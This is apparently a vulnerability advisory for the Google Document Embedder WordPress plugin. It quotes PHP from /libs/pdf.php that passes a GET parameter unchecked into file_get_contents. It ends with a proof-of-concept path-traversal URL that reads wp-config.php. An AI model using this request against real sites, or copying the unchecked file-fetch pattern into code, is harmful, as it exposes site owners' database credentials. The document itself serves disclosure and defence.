Advisory
Analysis of vulnerability
Google Document Embedder offers a proxy for forcing a PDF to download rather than use the default browser handler. It implements this through /libs/pdf.php:
8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
if (ini_get('allow_url_fopen') !== "1") { if (function_exists('curl_version')) { $curl = 1; } else { $err = "This function is not supported on your web server. Please add "; $err .= "<code>allow_url_fopen = 1</code> to your php.ini or enable cURL library. "; $err .= "If you are unable to do this, please change the Link Behavior setting to "; $err .= "Browser Default in GDE Options."; showErr($err); exit; } } if ((isset($_GET['fn'])) && (isset($_GET['file']))) { // check for invalid file type if (!preg_match("/\.pdf$/i",$_GET['fn'])) { showErr('Invalid file type; action cancelled.'); } // ready file $file = urldecode($file); $fileParts = parse_url($file); if (preg_match("/^https/i", $fileParts['scheme'])) { $ssl = true; } else { $ssl = false; } // get file if ($curl) { $code = @curl_get_contents($_GET['file'], $ssl); } else { $code = @file_get_contents($_GET['file']); } // output file header('Content-type: application/pdf'); header('Content-Disposition: attachment; filename="'.$_GET['fn'].'"'); echo $code; |
First it will check if allow_url_fopen is enabled. Then it checks the two variables we need to provide, the “fn”(Filename) and “file” GET parameters. If both are provided it will verify that the filename ends in .pdf. From there, it goes onto deicing how to fetch the file, and eventually call into file_get_contents by passing the file GET parameter straight into the call. Note that the filename is only used to determine the filename returned on line 45. Because it will use file_get_contents if at all possible, we can provide a local path to include. We can for instance fetch the wp-config.php file like this:
1 |
http://192.168.80.130/wordpress/wp-content/plugins/google-document-embedder/libs/pdf.php?fn=lol.pdf&file=../../../../wp-config.php |